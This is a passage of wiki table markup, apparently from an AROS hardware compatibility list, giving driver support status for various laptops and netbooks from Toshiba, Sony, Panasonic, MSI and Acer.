|-
| &lt;!--Name--&gt;Satellite Pro SP C640 C660D-15X (PSC1YE) C670D- () || &lt;!--Chipset--&gt;AMD E350  no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;6310G || &lt;!--Audio--&gt;HD Realtek ALC259 || &lt;!--USB--&gt;USB2  || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;Broadcom || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;C70D-A C75D-A || &lt;!--Chipset--&gt;E1-1200 no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|AMD HD8330}} || &lt;!--Audio--&gt;{{no|HA Audio CX20751 11Z}} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{no|Atheros AR8162 alx}} || &lt;!--Wireless--&gt;{{no|Realtek 8188e}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|}

====Misc====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name 
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Time 500 Packard Bell EasyOne 1450 1550 || &lt;!--Chipset--&gt;K6-3 500Mhz + VIA MVP4 vt82c686a || &lt;!--IDE--&gt;{{N/A|Issues}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Use VESA || &lt;!--Audio--&gt;{{No|VIA AC97 3058 with wolfson  codec WM9703 WM9704 WM9707 WM9708 or WM9717}} || &lt;!--USB--&gt;via 3038 2 ports USB 1.1 untested || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt;NB May 2013 || &lt;!--Comments--&gt;2001 32bit grub runs but stalls around [PCI] Everything OK 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX201/FX202 FX210/FX215 FX401/FX402 FX404/FX405 972M, FX501/FX502 FX504/FX505 || &lt;!--Chipset--&gt;VIA KT133A KM133 Duron 800Mhz Athlon 1.3Ghz || &lt;!--IDE--&gt;{{partial|boot issue with 2013 kernel VIA [rev 06]}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage Mobility Pro (VESA only)}} || &lt;!--Audio--&gt;{{Yes|VIA AC97 686b [rev 50] AD1881A Ear phone and Mic}} || &lt;!--USB--&gt;{{Maybe|issues}} || &lt;!--Ethernet--&gt;{{Yes|RTL 8139}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Comments--&gt;Nightly 1st March 2013 || &lt;!--Comments--&gt;booting usb pendrive from Plop Boot Loader floppy (no bios USB boot). Can freeze coz hardware issue or a ram slot problem - no support for iLink firewire VT8363/8365 pci - vt82c686b 
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX601/FX602, FX604/FX605 FXA53(US), FX701/FX702, FX704/FX705, FX801/FX802 FX804/FX805 || &lt;!--Chipset--&gt;VIA KT133A KM133 Duron 800Mhz Athlon 1.3Ghz || &lt;!--IDE--&gt;{{partial|boot issue with 2013 kernel VIA [rev 06]}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage Mobility Pro (VESA only)}} || &lt;!--Audio--&gt;{{Yes|VIA AC97 686b [rev 50] AD1881A Ear phone and Mic}} || &lt;!--USB--&gt;{{Maybe|issues}} || &lt;!--Ethernet--&gt;{{Yes|RTL 8139}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Comments--&gt;Nightly 1st March 2013 || &lt;!--Comments--&gt;booting usb pendrive somes works
|-
| &lt;!--Name--&gt;Sony Vaio PCG FX100 R505LE || &lt;!--Chipset--&gt;Intel i815 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA Intel 82815 CGC || &lt;!--Audio--&gt;Intel ICH AC97 with ADI AD1881A codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel e100 || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;PCG-FX105 FX105K PCG-FX108 FX108K PCG-FX109 FX109K FX200 FX203/FX203K FX205 FX205K FX209 FX209K FX220 [http://juljas.net/linux/vaiofx240/ FX240] FX250 FX270 FX290 FX301 FX302 FX340 FX370 FX390 FX403 FX503 FX950
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| Sony VAIO VGN X505VP || Pentium M ULV and Intel 855GM || {{yes}} || {{N/A}} || {{maybe|Intel 855 (VESA only)}} || {{yes|AC97}} || {{yes|USB}} || {{yes|Intel PRO 100 VE}} || {{N/A}} || || 2004 32bit - 0.38 inches at its thinnest point - first laptop to feature a &quot;chiclet&quot; keyboard resemble Chiclets gum - 
|-
| &lt;!--Name--&gt;Sony Z505LE Z505JE || &lt;!--Chipset--&gt;P3 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;n/a || &lt;!--Gfx--&gt;Rage Mobility M1 AGP mach64 || &lt;!--Audio--&gt;no Yamaha DS-XG PCI YMF744 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 8255x based PCI e100 || &lt;!--Wireless--&gt;n/a || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - 
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-18 || &lt;!--Chipset--&gt;Core || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|gma for i915}} || &lt;!--Audio--&gt;{{yes|AC97 SigmaTel}} || &lt;!--USB--&gt;{{yes|usb2 }} || &lt;!--Ethernet--&gt;{{yes|RTL 8139C}} || &lt;!--Wireless--&gt;{{no|Intel swap for atheros 5k}} || &lt;!--Test Distro--&gt;Deadwoods' D02 test || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-29 CF-30 || &lt;!--Chipset--&gt;Core || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA || &lt;!--Audio--&gt;AC97 SigmaTel || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139C || &lt;!--Wireless--&gt;Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;MSI Microstar PR210 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA ATi RS690M}} || &lt;!--Audio--&gt;{{Yes|HD Audio through speaker / head phones but not hdmi}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|Realtek 8111 8169}} || &lt;!--Wireless--&gt;Atheros AR242x AR542x aw-ge780 mini pci-e || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2004 32bit - ENE PCI based SD card with no bios boot option 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Advent 7106 EAA-88 || &lt;!--Chipset--&gt;Pentium M 1.7GHz with 915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D and 3D tunnel 187 gearbox 67}} || &lt;!--Audio--&gt;{{Yes|AC97 Intel ICH6 with Conexant Cx20468 31 codec playback head phones only}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Realtek 8169}} || &lt;!--Wireless--&gt;{{No|Intel 2200BG Fn/F2 replaced with atheros mini pci in small base panel - startup errors in wireless manager}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; cheap rubbish sadly - fan noise through audio channel - 
|-
| &lt;!--Name--&gt;Motion Computing LE1600 PC Slate || &lt;!--Chipset--&gt;915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;915 || &lt;!--Audio--&gt;Intel AC97 SigmaTel STAC9758 9759  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8169 || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 serial Wacom digitiser not usb
|-
| &lt;!--Name--&gt;Panasonic Toughbook CF-51 CF-P1 CF-T5 CF-Y2 || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom || &lt;!--Wireless--&gt;Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit 
|-
| &lt;!--Name--&gt;Sony Vaio VGN-AR11S || &lt;!--Chipset--&gt;ntel Core Duo T2500 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes| Nvidia Go 7600}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt;Aros One 32bit || &lt;!--Comments--&gt;2006 32bit - 17&quot; 1920x1200 - blu-ray - 
|-
| Sony Vaio VGN SR29VN || Intel ICH9 || {{N/A}} || {{maybe|IDE legacy}} || {{partial|ATI HD 3400 (VESA only)}} || {{partial|HD Audio (too quiet)}} || {{yes|USB1.1 and USB2.0}} || {{no|Marvell 8040}} || {{no|Intel 5100}} || Icaros 1.5 || 2007 32bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Wyse XM Class DELL WYSE Xn0m LAPTOP || &lt;!--Chipset--&gt;AMD T-G56N 1.6 1.65Ghz || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;decased 2.5in ssd || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d only AMD 6320}} || &lt;!--Audio--&gt;{{Maybe| }} || &lt;!--USB--&gt;{{Maybe|EHCI 2.0 with NEC uPD720200 USB 3.0}} || &lt;!--Ethernet--&gt;{{Yes|Realtek rtl8169 8111E}} || &lt;!--Wireless--&gt;{{No|Atheros 93xx}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 1366 x 768 14&quot; - 2 ddr3l slots max 16gb - 19v coax barrel plug psu - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;MSI Ge40 Ge60 || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 860M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Killer}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;MSI GE62 2QF Apache Pro || &lt;!--Chipset--&gt;Intel 5  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 970M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Killer }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;MSI GS65 Stealth || &lt;!--Chipset--&gt;i7-8750H and later i7-9750H || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;GeForce GTX 1060 or 1070 Max Q, GTX 1660 Ti, RTX 2080 Max-Q || &lt;!--Audio--&gt;{{unk|HDAudio }} || &lt;!--USB--&gt;{{unk|US3}} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Gigabyte P35X || &lt;!--Chipset--&gt;Intel || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDaudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;Panasonic Toughpad FZ-G1 MK2 || &lt;!--Chipset--&gt;Core i5-3437U, 1.9GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;ToughPad FZ-G1 Mk3 || &lt;!--Chipset--&gt;Intel Core i5-4310U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel HD 4400 || &lt;!--Audio--&gt;HDaudio Codec ALC255 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;[https://wiki.recessim.com/view/Panasonic_Toughpad_FZ-G1_MK4 Panasonic Toughpad FZ-G1 MK4] || &lt;!--Chipset--&gt;intel 6300U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel 520 || &lt;!--Audio--&gt;HDaudio with ALC256 codec - o/c or s/c fails early || &lt;!--USB--&gt;{{maybe|USB3 but options on the right hand side of screen case}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|intel ac 8260}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 10.1in 1600x1200 - 4gb ddr3l soldered - waterproof pen left hand side base - optional slot-in 4g lte and sdhc - 16v 4.06A 64.96W panasonic barrel - 
|-
| &lt;!--Name--&gt;Panasonic Toughpad FZ-G1 MK5 || &lt;!--Chipset--&gt;intel i5-7300U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel 620 || &lt;!--Audio--&gt;HDaudio ALC295 codec - o/c or s/c fails early || &lt;!--USB--&gt;{{maybe|USB3 but optional usb2 plugin r.h.s. of screen casing}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 8gb ddr3l soldered - 10.1&quot; WUXGA 1920 x 1200 with LED backlighting  screen 2-800 nit - 10-point capacitive multi touch + Waterproof Digitizer pen l.h.s - 
|-
| &lt;!--Name--&gt;ToughPad FZ-M1 || &lt;!--Chipset--&gt;Intel® Core TM m5-6Y57 vPro TM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;Intel HD 4200 || &lt;!--Audio--&gt;HDaudio with ALC codec || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 7in 800p - 8gb ddr3l soldered - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Any Razor Razer laptops || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;AVOID unable to remove secure boot 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


===Netbook=== 

[[#top|...to the top]]

* PC to write Aros image onto an USB pendrive with Raspberry PI writer, USB writer or Rufus for boot purposes on a netbook 
* SD card sometimes can boot like Dell 2100,  EeePC 1001P, ASUS EeePC 900, acer aspire one d150, MSI Wind U100, 


====Acer Packard Bell Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Aspire One AOA110 (A110) (ZG5) || Intel 945GSE || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA (2D and 3D) tunnel 99 and gearbox 84 score}} || {{Yes|HD Audio ALC6628}} || {{Yes|USB1.1 and USB2.0}} || {{Yes|rtl8169 RTL8101E}} || {{Yes|AR5006}} atheros 5k || 2016 AspireOS 1.8, 2025 Aros One 2.6 32bit USB || 2007 32bit 1 core - 19v barrel A13-045N2A 19V2.37A 45W 5.5x1.7mm - 
|-
| Aspire One AOA150 (A150) (ZG5) || Intel 945GSE || {{N/A}} || {{Maybe|ide mode}} || {{Yes|Intel GMA 2D and accelerated 3D with tunnel 99 and gearbox 84.1 result}} || {{Yes|HD Audio ALC6628}} || {{Yes|uhci and ehci}} || {{Yes|rtl8169 RTL8101E}} || {{Yes|AR5006}} atheros 5k || 2016 AspireOS 1.8, 2025 aros one 2.6 32bit USB || 2007 32bit 1 core - 19v barrel - 
|-
| Aspire One AOD150 D150 (Compal LA-4781P), AOD110 D110 (ssd) || Intel 945GME || {{N/A}} || {{Maybe|ide legacy}} || {{Yes|Intel GMA 950 (2D)}} || {{Yes|HDAudio with alc272}} || {{Yes|USB}} || {{No|Atheros AR8121 AR8113 AR8114 l1e}} || {{Maybe|AR5007EG AR5BXB63 works but Broadcom BCM4312 has no support}} || 2010 Icaros Desktop 1.3, 2024 Aros one 32bit USB || 2008 32bit 1 core - 19v barrel - 
|-
| Aspire One (ZG8) || Intel 945G and N270 || {{N/A}} || {{Maybe|ide mode}} || {{Yes|Intel GMA 2D and accelerated 3D}} || {{maybe|HD Audio }} || {{Yes|uhci and ehci}} || {{No|Broadcom }} || {{no|Intel}} || 2014 AspireOS 1.8 || 2009 32bit - 
|-
| Aspire One AOD250 D250 emachines em250 || 945GME || {{N/A}} || {{Maybe|ide legacy}} || {{Yes|Intel GMA (2D)}} || {{Yes|alc272 HD Audio}}  || {{Yes}} || {{No|AR8132 (L1c)}} || {{No|BCM4312 or Atheros AR5B95}} || 2010 Icaros 1.3 || 2009 32bit 1 core - 19v barrel - 
|-
| &lt;!--Name--&gt;Aspire AO532H (Compal LA-5651p) 533H Pineview || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;{{Yes|HD Audio playback}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|AR8132 (L1c)}} || &lt;!--Wireless--&gt;{{No|Atheros 9k}} || [http://www.amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=5968 Tested AspireOS June 2011] || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;emachines eM350 NAV51 || &lt;!--Chipset--&gt; with N450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 3150 || &lt;!--Audio--&gt;HD Audio with   codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 2.2 || &lt;!--Comments--&gt;Single core 64bit - 160GB HDD 1GB RAM 10.1&quot; LED backlit screen and  Webcam - 3 cell li-ion battery for 3 hours usage - 
|-
| &lt;!--Name--&gt;emachines eM355 || &lt;!--Chipset--&gt;  with N455 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;64bit support possible - 
|-
| &lt;!--Name--&gt;Aspire One 533 || &lt;!--Chipset--&gt;N455 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes}} || &lt;!--Gfx--&gt;{{Yes|2D 0x8086 0xa011}} || &lt;!--Audio--&gt;{{Yes| ALC272 codec ich7}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Atheros AR8152 v1.1 1c}} || &lt;!--Wireless--&gt;{{No|Broadcom 4313}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 and AROS One 2.3 || &lt;!--Comments--&gt;2011 64bit - f2 setup - 10.1inch 1024 x 768 - 
|-
| Aspire One AOD255 AOD255e AOD260 AOHAPPY (Compal LA-6221P) || N570 and Nm10 || {{N/A}} || {{Maybe|SATA}} || {{Maybe|Intel GMA 3150}} || Audio || USB || {{No|Atheros AR8152 V1.1 (1lc)}} || {{No|Broadcom BCM4313}} || || a little support 
|-
| Aspire One 522 AO522 (Compal LA-7072p) || 1GHz dual C-50 C50 or C-60 C60 + Hudson M1 || {{N/A}} || SATA || AMD 6250 (ATI 9804) or 6290 || ATI SB CX20584 HD Audio || USB || Atheros 8152 v2.0 l1c || {{No|Broadcom BCM4313 or Atheros ath9k}} || ||
|-
| &lt;!--Name--&gt;AAOD270 Aspire One D270 || &lt;!--Chipset--&gt;N2600 Cedarview || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D on Intel GMA 3650}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|RTL 8169 RTL8101E}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4313 but swap for Atheros 5k}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2011 64bit atom - ddr2 so-dimm 2gb max - 
|-
| &lt;!--Name--&gt;Aspire One AO532G (Compal LA-6091p) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Aspire One D257 (Quanta ZE6) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Acer Aspire One 722 AO722 P1VE6 || &lt;!--Chipset--&gt;AMD C-60 C60 with SB900 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe| use VESA Ati 6290}} || &lt;!--Audio--&gt;{{Yes|HD Audio with  codec but no Wrestler HDMI output}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Qualcomm Atheros AR8152 v2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9485}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Aspire One AO721 (Wistron SJV10-NL) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AO751 AO751H (Quanta ZA3) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
